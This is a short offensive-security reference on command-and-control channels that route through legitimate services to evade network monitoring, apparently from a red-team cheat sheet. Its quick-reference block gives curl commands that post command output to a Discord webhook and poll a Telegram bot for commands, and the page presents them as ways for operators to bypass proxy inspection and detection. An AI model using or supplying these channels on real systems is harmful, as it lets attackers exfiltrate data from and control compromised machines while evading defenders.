# Alternative C2 Channels
Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.
## Quick Reference
```bash
# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
-d "{\"content\":\"$(whoami)\"}" \
"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'
